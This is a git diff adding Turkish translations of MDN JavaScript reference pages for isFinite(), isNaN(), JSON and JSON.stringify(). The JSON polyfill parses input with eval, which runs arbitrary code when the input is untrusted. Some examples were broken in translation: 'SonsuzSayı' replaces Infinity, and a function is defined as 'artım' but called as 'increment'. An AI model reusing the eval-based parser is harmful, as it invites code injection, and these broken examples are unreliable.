<li>{{jsxref("DataView")}}</li> + <li>{{jsxref("JSON")}}</li> +</ul> + +<h3 id="Control_abstraction_objects">Control abstraction objects</h3> + +<ul> + <li>{{jsxref("Promise")}} {{experimental_inline}}</li> + <li>{{jsxref("Generator")}} {{experimental_inline}}</li> + <li>{{jsxref("GeneratorFunction")}} {{experimental_inline}}</li> +</ul> + +<h3 id="Reflection">Reflection</h3> + +<ul> + <li>{{jsxref("Reflect")}} {{experimental_inline}}</li> + <li>{{jsxref("Proxy")}} {{experimental_inline}}</li> +</ul> + +<h3 id="Internationalization">Internationalization</h3> + +<p>Additions to the ECMAScript core for language-sensitive functionalities.</p> + +<ul> + <li>{{jsxref("Intl")}}</li> + <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li> + <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li> + <li>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li> +</ul> + +<h3 id="Non-standard_objects">Non-standard objects</h3> + +<ul> + <li>{{jsxref("Iterator")}} {{non-standard_inline}}</li> + <li>{{jsxref("ParallelArray")}} {{non-standard_inline}}</li> + <li>{{jsxref("StopIteration")}} {{non-standard_inline}}</li> +</ul> + +<h3 id="Other">Other</h3> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code></li> +</ul> +</div> diff --git a/files/tr/web/javascript/reference/global_objects/isfinite/index.html b/files/tr/web/javascript/reference/global_objects/isfinite/index.html new file mode 100644 index 0000000000..43268d42b7 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/isfinite/index.html @@ -0,0 +1,138 @@ +--- +title: isFinite() +slug: Web/JavaScript/Reference/Global_Objects/isFinite +tags: + - JavaScript + - Sonlu Sayı + - Sonsuz Sayı + - isFinite +translation_of: Web/JavaScript/Reference/Global_Objects/isFinite +--- +<div>{{jsSidebar("Objects")}}</div> + +<p>Global <code><strong>isFinite()</strong></code> fonksiyonu girilen değerin sonlu sayı olup olmadığını kararlaştırır. Gerekliyse, parametre ilk önce sayıya çevrilir.</p> + +<h2 id="Söz_Dizimi">Söz Dizimi</h2> + +<pre class="syntaxbox">isFinite(<em>testDegeri</em>)</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code>testDegeri</code></dt> + <dd>Sonluluğu test edilecek sayı.</dd> +</dl> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>isFinite</code> en üst seviye fonksiyondur ve herhangi bir nesne ile ilişkilendirilemez.</p> + +<p>Bu fonksiyonu bir sayının sonlu olup olmadığını kararlaştırmak için kullanabilirsiniz. <code>isFinite</code> fonksiyonu argümanı olan sayıyı sorgular. Eğer argümanın değeri <code>NaN</code>, pozitif sonsuz veya negatif sonsuz ise, metod <strong>false</strong> döndürür; değilse, <strong>true</strong> döndürür.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush: js">isFinite(SonsuzSayı); // false +isFinite(NaN); // false +isFinite(-SonsuzSayı); // false + +isFinite(0); // true +isFinite(2e64); // true +isFinite(null); // true + + +isFinite("0"); // true, daha güçlü bir ifade olan Number.isFinite("0") + // ile kullanılsaydı false olacaktı. +</pre> + +<h2 id="Tanımlamalar">Tanımlamalar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Tanım</th> + <th scope="col">Durum</th> + <th scope="col">Açıklama</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.1.2.5', 'isFinite')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-isfinite-number', 'isFinite')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-isfinite-number', 'isFinite')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Temel Destek</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Android</th> + <th>Android için Chrome</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Temel Destek</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<ul> + <li>{{jsxref("Number.isFinite()")}}</li> + <li>{{jsxref("Number.NaN()")}}</li> + <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li> + <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/isnan/index.html b/files/tr/web/javascript/reference/global_objects/isnan/index.html new file mode 100644 index 0000000000..7a098629e6 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/isnan/index.html @@ -0,0 +1,170 @@ +--- +title: isNaN() +slug: Web/JavaScript/Reference/Global_Objects/isNaN +translation_of: Web/JavaScript/Reference/Global_Objects/isNaN +--- +<div>{{jsSidebar("Objects")}}</div> + +<p><code>isNaN()</code> bir değerin <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN </a>olup olmadığını belirler. Not: <code>isNaN</code> işlevi içindeki zorlamanın <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">ilginç</a> kuralları vardır; alternatif olarak ECMAScript 2015'te tanımlandığı gibi <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN">Number.isNaN()</a> yöntemini kullanmak isteyebilirsiniz.</p> + +<div>{{EmbedInteractiveExample("pages/js/globalprops-isnan.html")}}</div> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox"><code>isNaN(deger)</code></pre> + +<h3 id="Parametreler">Parametre(ler)</h3> + +<dl> + <dt><code>değer</code></dt> + <dd>Test edilecek değer.</dd> +</dl> + +<h3 id="Verilecek_değer">Verilecek değer</h3> + +<p>Verilen değer {{jsxref("NaN")}} ise<strong> <code>true</code></strong>; değilse <strong><code>false</code></strong>.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<h3 id="isNaN_işlevi_gerekliliği"><code>isNaN</code> işlevi gerekliliği</h3> + +<p>JavaScript'teki diğer tüm olası değerlerden farklı olarak, bir değerin {{jsxref ("NaN")}} olup olmadığını belirlemek için eşitlik operatörlerine (== ve ===) güvenmek mümkün değildir, çünkü NaN == NaN ve NaN === NaN <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font> olarak değerlendirilir. BU yüzden <code>isNaN</code> işlevi.</p> + +<h3 id="NaN_değerlerinin_kaynağı"><code>NaN</code> değerlerinin kaynağı</h3> + +<p>NaN değerleri, aritmetik işlemler <em>tanımsız (undefined)</em> veya <em>tekrarlanamayan</em> değerlerle sonuçlandığında üretilir. Bu tür değerler mutlaka taşma koşullarını temsil etmez. <code>NaN</code> ayrıca, ilkel sayısal değerin bulunmadığı sayısal olmayan değerlerin sayısal değerlerine zorlama girişiminden de kaynaklanır.</p> + +<p>Örneğin, sıfıra sıfıra bölmek bir <code>NaN</code> ile sonuçlanır - ancak diğer sayıları sıfıra bölmek olmaz.</p> + +<h3 id="Özel_durum_davranışlarını_karıştırmak">Özel durum davranışlarını karıştırmak</h3> + +<p><code>İsNaN</code> işlev belirtiminin en eski sürümleri olduğundan, sayısal olmayan bağımsız değişkenler için davranışı kafa karıştırıcı olur. İsNaN işlevinin bağımsız değişkeni <a href="http://es5.github.com/#x8.5">Number</a> türünde değilse, değer önce bir Number öğesine zorlanır. Dağa sonra elde edilen değer daha sonra {{jsxref ("NaN")}} olup olmadığını belirlemek için test edilir. Bu nedenle, sayısal tipe zorlandığında, geçerli bir <code>NaN</code> olmayan sayısal değerle sonuçlanan sayılar için (özellikle boş dize ve boolean ilkelleri, zorlandığında sayısal değerler sıfır veya bir verir), <code>"false"</code> döndürülen değer beklenmedik olabilir; örneğin, boş dize mutlaka "bir sayı değildir". Karışıklık, "sayı değil" teriminin IEEE-754 kayan nokta değerleri olarak gösterilen sayılar için özel bir anlamı olduğu gerçeğinden kaynaklanmaktadır. İşlev, "bu değer, sayısal değere zorlandığında IEEE-754 'Sayı Değil' değeri mi?" Sorusunu yanıtlıyor olarak yorumlanmalıdır.</p> + +<p>ECMAScript 2015, {{jsxref ("Number.isNaN ()")}} işlevini içerir. <code>Number.isNaN(x)</code>, x'in <code>NaN</code> olup olmadığını test etmenin güvenilir bir yoludur. Bununla birlikte, <code>Number.isNaN</code> ile bile, <code>NaN</code>'nin anlamı, basitçe "bir sayı değil", kesin sayısal anlam olarak kalır. Alternatif olarak, <code>Number.isNaN</code> yokluğunda, <code>(x != x)</code> ifadesi, <code>x</code> değişkeninin <code>NaN</code> olup olmadığını test etmenin daha güvenilir bir yoludur, çünkü sonuç <code>isNaN</code>'yi güvenilir olmayan sahte pozitiflere tabi değildir.</p> + +<p><code>isNaN</code> için bir çoklu dolgu (çoklu dolgu, <code>NaN</code>'nin kendine özgü asla eşit olmayan özelliğini kullanır):</p> + +<pre class="brush: js">var isNaN = function(deger) { + var n = Number(deger); + return n !== n; +};</pre> + +<h2 id="Examples">Examples</h2> + +<pre class="brush: js">isNaN(NaN); // true +isNaN(undefined); // true +isNaN({}); // true + +isNaN(true); // false +isNaN(null); // false +isNaN(37); // false + +// strings +isNaN('37'); // false: "37", NaN olmayan 37 sayısına dönüştürülür +isNaN('37.37'); // false: "37.37", NaN olmayan 37.37 sayısına dönüştürülür +isNaN("37,5"); // true +isNaN('123ABC'); // true: parseInt("123ABC") 123, ancak Number("123ABC") +isNaN(''); // false: boş dize, NaN olmayan 0'a dönüştürülür +isNaN(' '); // false: boşluklu bir dize, NaN olmayan 0'a dönüştürülür + +// tarihler +isNaN(new Date()); // false +isNaN(new Date().toString()); // true + +// Bu yanlış bir pozitiftir ve isNaN'ın tamamen güvenilir olmamasının nedenidir +isNaN('blabla'); // true: "blabla" bir sayıya dönüştürülür. + // Bunu bir sayı olarak ayrıştırma başarısız olur ve NaN döndürür</pre> + +<h3 id="Faydalı_özel_durum_davranışı">Faydalı özel durum davranışı</h3> + +<p><code>İsNaN()</code> yöntemini düşünmek için daha çok kullanıma yönelik bir yol vardır: <code>isNaN(x)</code> <code>false</code> değerini döndürürse, ifadeyi <code>NaN</code> döndürmeyen bir aritmetik ifadede <code>x</code> kullanabilirsiniz. <code>true</code> değerini döndürürse, <code>x</code> her aritmetik ifadeyi <code>NaN</code> döndürür. Bu, JavaScript'te,<code> isNaN(x) == true</code> değerinin, <code>NaN</code> döndüren <code>x - 0</code>'a eşdeğer olduğu anlamına gelir (JavaScript <code>x - 0 == NaN</code>'de her zaman <code>false</code> döndürür, bu nedenle test edemezsiniz). Aslında, <code>isNaN(x)</code>, <code>isNaN(x - 0)</code>, <code>isNaN(Number(x))</code>, <code>Number.isNaN(x - 0)</code> ve <code>Number.isNaN(Number(x))</code> her zaman aynı döndürür ve JavaScript <code>isNaN(x)</code> bu terimlerin her birini ifade etmek için mümkün olan en kısa biçimdir.</p> + +<p>Örneğin, bir işleve ait bir argümanın aritmetik olarak işlenebilir (bir sayı gibi "kullanılabilir") veya değilse ve varsayılan bir değer veya başka bir şey sağlamanız gerekip gerekmediğini test etmek için kullanabilirsiniz. Bu şekilde, içeriğe bağlı olarak değerleri dolaylı olarak dönüştürerek JavaScript'in sağladığı çok yönlülüğü kullanan bir işleve sahip olabilirsiniz.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush: js">function artım(x) { + if (isNaN(x)) x = 0; + return x + 1; +} + +// Number.isNaN() ile aynı etki: +function artım(x) { + if (Number.isNaN(Number(x))) x = 0; + return x + 1; +} + +// Aşağıdaki durumlarda işlevin x argümanı için, +// isNaN(x) her zaman yanlıştır, ancak x gerçekten bir +// ancak aritmetik olarak kullanılabilir +// ifadeler +increment(''); // 1: "", 0'a dönüştürülür +increment(new String()); // 1: Boş bir dizeyi temsil eden dize nesnesi 0'a dönüştürülür +increment([]); // 1: [], 0'a dönüştürülür +increment(new Array()); // 1: Boş bir diziyi temsil eden dizi nesnesi 0'a dönüştürülür +increment('0'); // 1: "0", 0'a dönüştürülür +increment('1'); // 2: "1", 1'e dönüştürülür +increment('0.1'); // 1.1: "0.1", 0.1'a dönüştürülür. +increment('Infinity'); // Infinity: "Infinity", Infinity dönüştürülür +increment(null); // 1: null değeri 0'a dönüştürülür +increment(false); // 1: false değeri 0'a dönüştürülür +increment(true); // 2: true değeri 1'e dönüştürülür +increment(new Date()); // milisaniye cinsinden geçerli tarih/saati döndürür artı 1 + +// Aşağıdaki durumlarda işlevin x argümanı için, +// isNaN (x) her zaman falsetır ve x gerçekten bir sayıdır. +increment(-1); // 0 +increment(-0.1); // 0.9 +increment(0); // 1 +increment(1); // 2 +increment(2); // 3 +// ...ve bunun gibi... +increment(Infinity); // Infinity + +// Aşağıdaki durumlarda işlevin x argümanı için, +// isNaN(x) her zaman doğrudur ve x gerçekten bir sayı değildir, +// böylece fonksiyon 0 ile değiştirilir ve 1 döndürür +increment(String); // 1 +increment(Array); // 1 +increment('blabla'); // 1 +increment('-blabla'); // 1 +increment(0 / 0); // 1 +increment('0 / 0'); // 1 +increment(Infinity / Infinity); // 1 +increment(NaN); // 1 +increment(undefined); // 1 +increment(); // 1 + +// isNaN(x) her zaman isNaN(Number(x)) ile aynıdır, +// ama x'in varlığı burada zorunludur! +isNaN(x) == isNaN(Number(x)); // x == undefined dahil, x'in her değeri için true, + // çünkü isNaN(undefined) == true ve Number(undefined) NaN değerini döndürür, + // ama... +isNaN() == isNaN(Number()); // false, çünküisNaN() == true ve Number() == 0 +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Şartname</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-isnan-number', 'isNaN')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + + + +<p>{{Compat("javascript.builtins.isNaN")}}</p> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("NaN")}}</li> + <li>{{jsxref("Number.isNaN()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/json/index.html b/files/tr/web/javascript/reference/global_objects/json/index.html new file mode 100644 index 0000000000..f458b5390e --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/json/index.html @@ -0,0 +1,205 @@ +--- +title: JSON +slug: Web/JavaScript/Reference/Global_Objects/JSON +tags: + - JSON + - JavaScript Nesneler + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/JSON +--- +<div>{{JSRef}}</div> + +<p>JSON nesnesi, <a href="http://json.org/">JavaScript Object Notasyonunu</a> çözümlemek ve değerleri JSON'a çevirmek için kullanılan metodları içinde barındırır. Çağırılamaz veya inşa edilemez, ve iki özelliği haricinde kendisine ait başka ilginç bir kullanılabilirliği de yoktur.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<h3 id="JavaScript_Obje_Notasyonu">JavaScript Obje Notasyonu</h3> + +<p>JSON; nesneleri, dizileri, sayıları, dizeleri, boolean değerleri ve {{jsxref("null")}} değerini seri haline getirmek için kullanılan bir sözdizimidir. JavaScript sözdizimine bağlıdır ama farklılıkları da vardır: Her JavaScript, JSON olmadığı gibi her JSON da JavaScript olmayabilir. Buna da göz atın: <a href="http://timelessrepo.com/json-isnt-a-javascript-subset">JSON: The JavaScript subset that isn't</a>.</p> + +<table> + <caption>JavaScript ve JSON farklılıkları</caption> + <thead> + <tr> + <th scope="col">JavaScript tipi</th> + <th scope="col">JSON farklılıkları</th> + </tr> + </thead> + <tbody> + <tr> + <td>Nesneler ve Diziler</td> + <td>Property isimleri çift tırnaklı dizeler olmalıdır; sona konulan virgüller yasaktır.</td> + </tr> + <tr> + <td>Sayılar</td> + <td>Öne gelecek sıfırlar yasaktır( JSON.stringify'da sıfırlar göz ardı edilirler, ama JSON.parse'da SyntaxError döndürürler); bir ondalik noktanın devamında en az bir sayı gelmelidir.</td> + </tr> + <tr> + <td>Dizeler</td> + <td> + <p>Sadece sınırlı sayıda karakterin kaçmasına izin verilebilir; belli kontrol karakterleri yasaklanmıştır; Unicode satır ayırıcı (<a href="http://unicode-table.com/en/2028/">U+2028</a>) ve paragraf ayırıcı (<a href="http://unicode-table.com/en/2029/">U+2029</a>) karakterlerine izin verilir; dizeler çift tırnaklı olmalıdır. Aşağıdaki örneğe göz atarsanız; {{jsxref("JSON.parse()")}}'ın düzgün çalıştığını ve JavaScript olarak değerlendiği zaman bir {{jsxref("SyntaxError")}} döndürüldüğünü görebilirsiniz:</p> + + <pre class="brush: js"> +var code = '"\u2028\u2029"'; +JSON.parse(code); // düzgün çalışıyor. +eval(code); // hata veriyor. +</pre> + </td> + </tr> + </tbody> +</table> + +<p>Tüm JSON söz dizimi aşağıdaki gibidir:</p> + +<pre><var>JSON</var> = <strong>null</strong> + <em>or</em> <strong>true</strong> <em>or</em> <strong>false</strong> + <em>or</em> <var>JSONNumber</var> + <em>or</em> <var>JSONString</var> + <em>or</em> <var>JSONObject</var> + <em>or</em> <var>JSONArray</var> + +<var>JSONNumber</var> = <strong>-</strong> <var>PositiveNumber</var> + <em>or</em> <var>PositiveNumber</var> +<var>PositiveNumber</var> = DecimalNumber + <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> + <em>or</em> <var>DecimalNumber</var> <strong>.</strong> <var>Digits</var> <var>ExponentPart</var> + <em>or</em> <var>DecimalNumber</var> <var>ExponentPart</var> +<var>DecimalNumber</var> = <strong>0</strong> + <em>or</em> <var>OneToNine</var> <var>Digits</var> +<var>ExponentPart</var> = <strong>e</strong> <var>Exponent</var> + <em>or</em> <strong>E</strong> <var>Exponent</var> +<var>Exponent</var> = <var>Digits</var> + <em>or</em> <strong>+</strong> <var>Digits</var> + <em>or</em> <strong>-</strong> <var>Digits</var> +<var>Digits</var> = <var>Digit</var> + <em>or</em> <var>Digits</var> <var>Digit</var> +<var>Digit</var> = <strong>0</strong> through <strong>9</strong> +<var>OneToNine</var> = <strong>1</strong> through <strong>9</strong> + +<var>JSONString</var> = <strong>""</strong> + <em>or</em> <strong>"</strong> <var>StringCharacters</var> <strong>"</strong> +<var>StringCharacters</var> = <var>StringCharacter</var> + <em>or</em> <var>StringCharacters</var> <var>StringCharacter</var> +<var>StringCharacter</var> = any character + <em>except</em> <strong>"</strong> <em>or</em> <strong>\</strong> <em>or</em> U+0000 through U+001F + <em>or</em> <var>EscapeSequence</var> +<var>EscapeSequence</var> = <strong>\"</strong> <em>or</em> <strong>\/</strong> <em>or</em> <strong>\\</strong> <em>or</em> <strong>\b</strong> <em>or</em> <strong>\f</strong> <em>or</em> <strong>\n</strong> <em>or</em> <strong>\r</strong> <em>or</em> <strong>\t</strong> + <em>or</em> <strong>\u</strong> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> <var>HexDigit</var> +<var>HexDigit</var> = <strong>0</strong> through <strong>9</strong> + <em>or</em> <strong>A</strong> through <strong>F</strong> + <em>or</em> <strong>a</strong> through <strong>f</strong> + +<var>JSONObject</var> = <strong>{</strong> <strong>}</strong> + <em>or</em> <strong>{</strong> <var>Members</var> <strong>}</strong> +<var>Members</var> = <var>JSONString</var> <strong>:</strong> <var>JSON</var> + <em>or</em> <var>Members</var> <strong>,</strong> <var>JSONString</var> <strong>:</strong> <var>JSON</var> + +<var>JSONArray</var> = <strong>[</strong> <strong>]</strong> + <em>or</em> <strong>[</strong> <var>ArrayElements</var> <strong>]</strong> +<var>ArrayElements</var> = <var>JSON</var> + <em>or</em> <var>ArrayElements</var> <strong>,</strong> <var>JSON</var> +</pre> + +<p>Önemsiz boşluklar; <code><var>JSONNumber ve JSONString</var></code> dışında herhangi bir yerde kullanılabilirler (sayılar boşluk içeremezler) veya (Dizeler için, dizede karşılık gelen karakter olarak yorumlanır, veye hataya sebep verir). Tab karakteri (<a href="http://unicode-table.com/en/0009/">U+0009</a>), satırbaşı (<a href="http://unicode-table.com/en/000D/">U+000D</a>), line feed (<a href="http://unicode-table.com/en/000A/">U+000A</a>), ve boşluk (<a href="http://unicode-table.com/en/0020/">U+0020</a>) karakterleri tek kabul edilen boşluk karakterleridir.</p> + +<h2 id="Metotlar">Metotlar</h2> + +<dl> + <dt>{{jsxref("JSON.parse()")}}</dt> + <dd>Bir dizeyi; JSON olarak çözümler, opsiyonel olarak üretilen değer ve değerin özelliklerini de dönüştürebilir. Sonrasında değeri döndürür.</dd> + <dt>{{jsxref("JSON.stringify()")}}</dt> + <dd>Belirtilen değerle ilişkili JSON dizesini döndürür, opsiyonel olarak sadece belirlenen özellikleri ekler veya özellik değerlerini kullanıcı tanımlı biçimde değiştirir.</dd> +</dl> + +<h2 id="Polyfill">Polyfill</h2> + +<p><code>JSON</code> nesnesi eski tarayıcılar tarafından desteklenmemektedir. Bunun üstesinden geçici bir şekilde gelmek için scriptinizin başına aşağıdaki kodu ekleyebilirsiniz, bu şekilde aslen destenlenmediğinde <code>JSON</code> nesnesinin kullanımına izin verilmiş olur (Internet Explorer 6 gibi).</p> + +<p>Aşağıdaki algoritma asıl <code>JSON</code> nesnesinin bir taklididir.</p> + +<pre class="brush: js">if (!window.JSON) { + window.JSON = { + parse: function(sJSON) { return eval('(' + sJSON + ')'); }, + stringify: (function () { + var toString = Object.prototype.toString; + var hasOwnProperty = Object.prototype.hasOwnProperty; + var isArray = Array.isArray || function (a) { return toString.call(a) === '[object Array]'; }; + var escMap = {'"': '\\"', '\\': '\\\\', '\b': '\\b', '\f': '\\f', '\n': '\\n', '\r': '\\r', '\t': '\\t'}; + var escFunc = function (m) { return escMap[m] || '\\u' + (m.charCodeAt(0) + 0x10000).toString(16).substr(1); }; + var escRE = /[\\"\u0000-\u001F\u2028\u2029]/g; + return function stringify(value) { + if (value == null) { + return 'null'; + } else if (typeof value === 'number') { + return isFinite(value) ? value.toString() : 'null'; + } else if (typeof value === 'boolean') { + return value.toString(); + } else if (typeof value === 'object') { + if (typeof value.toJSON === 'function') { + return stringify(value.toJSON()); + } else if (isArray(value)) { + var res = '['; + for (var i = 0; i < value.length; i++) + res += (i ? ', ' : '') + stringify(value[i]); + return res + ']'; + } else if (toString.call(value) === '[object Object]') { + var tmp = []; + for (var k in value) { + // in case "hasOwnProperty" has been shadowed + if (hasOwnProperty.call(value, k)) + tmp.push(stringify(k) + ': ' + stringify(value[k])); + } + return '{' + tmp.join(', ') + '}'; + } + } + return '"' + value.toString().replace(escRE, escFunc) + '"'; + }; + })() + }; +} +</pre> + +<p><code>JSON</code> nesnesi için daha karmaşık ve bilindik <a class="external" href="http://remysharp.com/2010/10/08/what-is-a-polyfill/">polyfill</a>ler ise: <a class="link-https" href="https://github.com/douglascrockford/JSON-js">JSON2</a> ve <a class="external" href="http://bestiejs.github.com/json3">JSON3</a>'tür.</p> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>İlk tanım.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-json-object', 'JSON')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div> +<div> +<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerle oluşturulmuştur. Eğer bu verilere katkıda bulunmak isterseniz, lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> linkine göz atın ve bize pull request gönderin.</div> + +<p>{{Compat("javascript.builtins.JSON")}}</p> +</div> +</div> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<ul> + <li>{{jsxref("Date.prototype.toJSON()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/json/stringify/index.html b/files/tr/web/javascript/reference/global_objects/json/stringify/index.html new file mode 100644 index 0000000000..541e87d523 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/json/stringify/index.html @@ -0,0 +1,313 @@ +--- +title: JSON.stringify() +slug: Web/JavaScript/Reference/Global_Objects/JSON/stringify +translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify +--- +<div>{{JSRef}}</div> + +<p><strong><code>JSON.stringify()</code></strong> metodu(fonksyionu) Javascript objesinin değerlerini JSON string'ine çevirir. Bu javascript nesnesi üzerinde değişiklik yapabilecek bir fonksiyon tanımlı ise nesne üzerinde çevirme işlemi yanında bunlar da yapılabilir.</p> + +<div>{{EmbedInteractiveExample("pages/js/json-stringify.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code>JSON.stringify(<var>value</var>[, <var>replacer</var>[, <var>space</var>]])</code></pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>value</code></dt> + <dd>The value to convert to a JSON string.</dd> + <dt><code>replacer</code> {{optional_inline}}</dt> + <dd>A function that alters the behavior of the stringification process, or an array of {{jsxref("String")}} and {{jsxref("Number")}} objects that serve as a whitelist for selecting/filtering the properties of the value object to be included in the JSON string. If this value is null or not provided, all properties of the object are included in the resulting JSON string.</dd> + <dt><code>space</code> {{optional_inline}}</dt> + <dd>A {{jsxref("String")}} or {{jsxref("Number")}} object that's used to insert white space into the output JSON string for readability purposes. If this is a <code>Number</code>, it indicates the number of space characters to use as white space; this number is capped at 10 (if it is greater, the value is just 10). Values less than 1 indicate that no space should be used. If this is a <code>String</code>, the string (or the first 10 characters of the string, if it's longer than that) is used as white space. If this parameter is not provided (or is null), no white space is used.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>A JSON string representing the given value.</p> + +<h3 id="Exceptions">Exceptions</h3> + +<p>Throws a {{jsxref("TypeError")}} ("cyclic object value") exception when a circular reference is found.</p> + +<h2 id="Description">Description</h2> + +<p><code>JSON.stringify()</code> converts a value to JSON notation representing it:</p> + +<ul> + <li>If the value has a <a href="#toJSON()_behavior">toJSON()</a> method, it's responsible to define what data will be serialized.</li> + <li>{{jsxref("Boolean")}}, {{jsxref("Number")}}, and {{jsxref("String")}} objects are converted to the corresponding primitive values during stringification, in accord with the traditional conversion semantics.</li> + <li>If {{jsxref("undefined")}}, a {{jsxref("Function")}}, or a {{jsxref("Symbol")}} is encountered during conversion it is either omitted (when it is found in an object) or censored to {{jsxref("null")}} (when it is found in an array). <code>JSON.stringify()</code> can also just return <code>undefined</code> when passing in "pure" values like <code>JSON.stringify(function(){})</code> or <code>JSON.stringify(undefined)</code>.</li> + <li>All {{jsxref("Symbol")}}-keyed properties will be completely ignored, even when using the <code>replacer</code> function.</li> + <li>The instances of {{jsxref("Date")}} implement the <code>toJSON()</code> function by returning a string (the same as <code>date.toISOString()</code>), thus they are treated as strings.</li> + <li>The numbers {{jsxref("Infinity")}} and {{jsxref("NaN")}} as well as the object {{jsxref("null")}} are all considered as <code>null</code>.</li> + <li>For all the other {{jsxref("Object")}} instances (including {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}} and {{jsxref("WeakSet")}}), only their enumerable properties will be serialized.</li> +</ul> + +<pre class="brush: js">JSON.stringify({}); // '{}' +JSON.stringify(true); // 'true' +JSON.stringify('foo'); // '"foo"' +JSON.stringify([1, 'false', false]); // '[1,"false",false]' +JSON.stringify([NaN, null, Infinity]); // '[null,null,null]' +JSON.stringify({ x: 5 }); // '{"x":5}' + +JSON.stringify(new Date(2006, 0, 2, 15, 4, 5)) +// '"2006-01-02T15:04:05.000Z"' + +JSON.stringify({ x: 5, y: 6 }); +// '{"x":5,"y":6}' +JSON.stringify([new Number(3), new String('false'), new Boolean(false)]); +// '[3,"false",false]' + +// String-keyed array elements are not enumerable and make no sense in JSON +let a = ['foo', 'bar']; +a['baz'] = 'quux'; // a: [ 0: 'foo', 1: 'bar', baz: 'quux' ] +JSON.stringify(a); +// '["foo","bar"]' + +JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] }); +// '{"x":[10,null,null,null]}' + +// Standard data structures +JSON.stringify([new Set([1]), new Map([[1, 2]]), new WeakSet([{a: 1}]), new WeakMap([[{a: 1}, 2]])]); +// '[{},{},{},{}]' + +// TypedArray +JSON.stringify([new Int8Array([1]), new Int16Array([1]), new Int32Array([1])]); 